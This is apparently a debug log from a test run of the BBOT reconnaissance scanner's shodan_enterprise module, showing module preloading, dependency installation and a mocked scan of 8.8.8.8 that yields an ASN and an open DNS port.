cache +2026-03-01 16:39:55,292 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-03-01 16:39:55,293 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-03-01 16:39:55,294 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-03-01 16:39:55,294 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-03-01 16:39:55,295 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-03-01 16:39:55,295 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-03-01 16:39:55,296 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-03-01 16:39:55,296 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-03-01 16:39:55,298 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-03-01 16:39:55,299 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-03-01 16:39:55,299 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-03-01 16:39:55,300 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-03-01 16:39:55,300 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-03-01 16:39:55,301 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-03-01 16:39:55,302 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-03-01 16:39:55,302 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-03-01 16:39:55,303 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-03-01 16:39:55,304 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-03-01 16:39:55,305 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-03-01 16:39:55,305 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-03-01 16:39:55,306 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-03-01 16:39:55,306 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-03-01 16:39:55,307 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-03-01 16:39:55,308 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-03-01 16:39:55,308 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-03-01 16:39:55,309 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-03-01 16:39:55,310 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-03-01 16:39:55,310 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-03-01 16:39:55,311 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-03-01 16:39:55,311 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-03-01 16:39:55,312 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-03-01 16:39:55,313 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-03-01 16:39:55,313 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-03-01 16:39:55,314 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-03-01 16:39:55,314 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-03-01 16:39:55,315 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-03-01 16:39:55,315 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-03-01 16:39:55,316 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-03-01 16:39:55,316 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-03-01 16:39:55,317 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-03-01 16:39:55,318 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-03-01 16:39:55,318 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-03-01 16:39:55,319 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-03-01 16:39:55,319 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-03-01 16:39:55,320 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-03-01 16:39:55,321 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-03-01 16:39:55,322 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-03-01 16:39:55,322 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-03-01 16:39:55,323 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-03-01 16:39:55,324 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-03-01 16:39:55,325 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-03-01 16:39:55,325 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-03-01 16:39:55,326 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-03-01 16:39:55,327 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-03-01 16:39:55,327 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-03-01 16:39:55,328 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-03-01 16:39:55,329 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-03-01 16:39:55,330 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-03-01 16:39:55,331 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-03-01 16:39:55,331 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-03-01 16:39:55,332 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-03-01 16:39:55,333 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-03-01 16:39:55,334 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-03-01 16:39:55,334 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-03-01 16:39:55,335 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-03-01 16:39:55,336 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-03-01 16:39:55,337 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-03-01 16:39:55,338 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-03-01 16:39:55,339 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-03-01 16:39:55,340 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-03-01 16:39:55,341 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-03-01 16:39:55,342 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-03-01 16:39:55,342 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-03-01 16:39:55,343 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-03-01 16:39:55,344 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-03-01 16:39:55,344 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-03-01 16:39:55,346 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-03-01 16:39:55,346 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-03-01 16:39:55,350 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-03-01 16:39:55,350 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-03-01 16:39:55,352 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-03-01 16:39:55,352 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-03-01 16:39:55,354 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-03-01 16:39:55,354 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-03-01 16:39:55,355 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-03-01 16:39:55,356 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-03-01 16:39:55,356 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-03-01 16:39:56,497 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 16:39:56,497 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 16:39:56,498 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-03-01 16:39:56,637 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-03-01 16:39:57,261 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-03-01 16:39:57,261 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-03-01 16:39:57,261 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-03-01 16:39:57,262 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-03-01 16:39:57,473 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-03-01 16:39:57,474 [DEBUG] bbot base.py:103 Mocking DNS +2026-03-01 16:39:57,584 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-03-01 16:39:57,584 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-03-01 16:39:57,639 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-03-01 16:39:57,642 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-03-01 16:39:57,642 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-03-01 16:39:58,105 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-03-01 16:39:58,105 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-03-01 16:40:00,889 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-03-01 16:40:00,890 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-03-01 16:40:00,890 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-03-01 16:40:02,743 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-03-01 16:40:02,744 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-03-01 16:40:02,749 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:40:02,749 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-03-01 16:40:02,750 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:40:02,750 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-03-01 16:40:02,751 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:40:02,751 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-03-01 16:40:02,751 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-03-01 16:40:02,751 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-03-01 16:40:02,756 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/tjaj0omoc9ugc298yzvb +2026-03-01 16:40:03,524 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-03-01 16:40:03,524 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-03-01 16:40:03,525 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:40:03,525 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-03-01 16:40:03,526 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-03-01 16:40:03,648 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-03-01 16:40:03,649 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-03-01 16:40:03,649 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-03-01 16:40:03,650 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-03-01 16:40:03,651 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-03-01 16:40:03,651 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-03-01 16:40:03,651 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-03-01 16:40:03,652 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-03-01 16:40:03,652 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-03-01 16:40:03,653 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-03-01 16:40:03,653 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-03-01 16:40:03,653 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-03-01 16:40:03,653 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-03-01 16:40:03,654 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-03-01 16:40:03,654 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-03-01 16:40:03,654 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-03-01 16:40:03,654 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-03-01 16:40:03,654 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-03-01 16:40:03,654 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-03-01 16:40:03,654 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-03-01 16:40:03,655 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-03-01 16:40:03,655 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-03-01 16:40:03,656 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-03-01 16:40:03,656 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-03-01 16:40:03,656 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-03-01 16:40:03,656 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-03-01 16:40:03,657 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-03-01 16:40:03,657 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-03-01 16:40:03,657 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-03-01 16:40:03,657 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-03-01 16:40:03,657 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-03-01 16:40:03,657 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-03-01 16:40:03,658 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-03-01 16:40:03,658 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-03-01 16:40:03,658 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-03-01 16:40:03,658 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-03-01 16:40:03,658 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-03-01 16:40:03,659 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-03-01 16:40:03,659 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-03-01 16:40:03,659 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-03-01 16:40:03,659 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-03-01 16:40:03,659 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-03-01 16:40:03,660 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-03-01 16:40:03,660 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-03-01 16:40:03,660 [DEBUG] bbot base.py:111 Starting scan +2026-03-01 16:40:03,803 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_cq36fyddhw +2026-03-01 16:40:03,803 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-03-01 16:40:03,917 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started +2026-03-01 16:40:03,918 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-03-01 16:40:03,918 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-03-01 16:40:03,919 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) +2026-03-01 16:40:04,020 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:e2bd3aaa537fde8c71b6d0fc7fe45755ea5ea78f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 16:40:04,021 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:e2bd3aaa537fde8c71b6d0fc7fe45755ea5ea78f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:40:04,022 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:e2bd3aaa537fde8c71b6d0fc7fe45755ea5ea78f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:40:04,023 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) passed post-check +2026-03-01 16:40:04,023 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) +2026-03-01 16:40:04,025 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:e2bd3aaa537fde8c71b6d0fc7fe45755ea5ea78f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-01 16:40:04,025 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:e2bd3aaa537fde8c71b6d0fc7fe45755ea5ea78f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:40:04,026 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) in-scope because its main host matches the scan target +2026-03-01 16:40:04,027 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:e2bd3aaa537fde8c71b6d0fc7fe45755ea5ea78f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 16:40:04,028 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:e2bd3aaa537fde8c71b6d0fc7fe45755ea5ea78f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:40:04,028 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-01 16:40:04,029 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check +2026-03-01 16:40:04,029 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-01 16:40:04,030 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:e2bd3aaa537fde8c71b6d0fc7fe45755ea5ea78f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:40:04,031 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:e2bd3aaa537fde8c71b6d0fc7fe45755ea5ea78f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-03-01 16:40:04,037 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-01 16:40:04,037 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check +2026-03-01 16:40:04,038 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-01 16:40:04,038 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-01 16:40:04,039 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) because precheck succeeded +2026-03-01 16:40:04,039 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) because precheck succeeded +2026-03-01 16:40:04,040 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) from TARGET +2026-03-01 16:40:04,040 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check +2026-03-01 16:40:04,040 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-01 16:40:04,139 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-01 16:40:04,140 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:e2bd3aaa537fde8c71b6d0fc7fe45755ea5ea78f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-03-01 16:40:04,141 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:e2bd3aaa537fde8c71b6d0fc7fe45755ea5ea78f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 16:40:04,142 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) from TARGET +2026-03-01 16:40:04,142 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check +2026-03-01 16:40:04,143 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 16:40:04,143 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:40:04,144 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:40:04,145 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:40:04,145 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:40:04,146 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-01 16:40:04,146 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:40:04,147 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 16:40:04,147 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check 